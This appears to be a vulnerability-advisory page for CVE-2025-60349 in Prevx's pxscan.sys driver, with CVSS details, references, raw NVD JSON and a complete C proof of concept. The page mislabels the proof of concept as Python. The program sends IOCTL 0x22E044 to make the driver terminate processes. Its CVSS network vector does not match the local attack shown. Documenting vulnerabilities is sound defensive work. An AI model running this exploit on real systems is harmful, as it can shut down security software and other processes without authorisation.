CVE-2025-60349

Description

An issue was discovered in Prevx v3.0.5.220 allowing attackers to cause a denial of service via sending IOCTL code 0x22E044 to the pxscan.sys driver. Any processes listed under registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\pxscan\Files will be terminated.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Prevx v3.0.5.220

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-60349 PoC - IOCTL 0x22E044 DoS Exploit
// Target: Prevx pxscan.sys driver v3.0.5.220
// Description: Sends malicious IOCTL code to terminate processes listed in registry

#include <windows.h>
#include <stdio.h>

#define IOCTL_CODE 0x22E044
#define TARGET_DEVICE "\\\\.\\pxscan"

int main() {
    HANDLE hDevice;
    DWORD bytesReturned;
    BOOL result;
    
    printf("[*] CVE-2025-60349 PoC - Prevx pxscan.sys DoS\n");
    printf("[*] IOCTL Code: 0x%X\n", IOCTL_CODE);
    
    // Open handle to pxscan.sys driver
    hDevice = CreateFileA(
        TARGET_DEVICE,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open device handle. Error: %d\n", GetLastError());
        return 1;
    }
    
    printf("[+] Device handle opened successfully\n");
    
    // Send malicious IOCTL code to trigger DoS
    result = DeviceIoControl(
        hDevice,
        IOCTL_CODE,
        NULL,
        0,
        NULL,
        0,
        &bytesReturned,
        NULL
    );
    
    if (result) {
        printf("[+] IOCTL request sent successfully\n");
        printf("[+] Processes in registry list should be terminated\n");
    } else {
        printf("[-] IOCTL request failed. Error: %d\n", GetLastError());
    }
    
    CloseHandle(hDevice);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60349
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60349
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60349/
[4] VulDB https://vuldb.com/cve/CVE-2025-60349
[5] http://prevx.com
[6] https://github.com/djackreuter/CVE-2025-60349

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-60349", "sourceIdentifier": "[email protected]", "published": "2025-10-28T16:15:39.157", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Prevx v3.0.5.220 allowing attackers to cause a denial of service via sending IOCTL code 0x22E044 to the pxscan.sys driver. Any processes listed under registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\pxscan\\Files will be terminated."}, {"lang": "es", "value": "Se descubrió un problema en Prevx v3.0.5.220 que permite a los atacantes causar una denegación de servicio mediante el envío del código IOCTL 0x22E044 al controlador pxscan.sys. Cualquier proceso listado bajo la clave de registro HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\pxscan\\Files será terminado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "http://prevx.com", "source": "[email protected]"}, {"url": "https://github.com/djackreuter/CVE-2025-60349", "source": "[email protected]"}]}}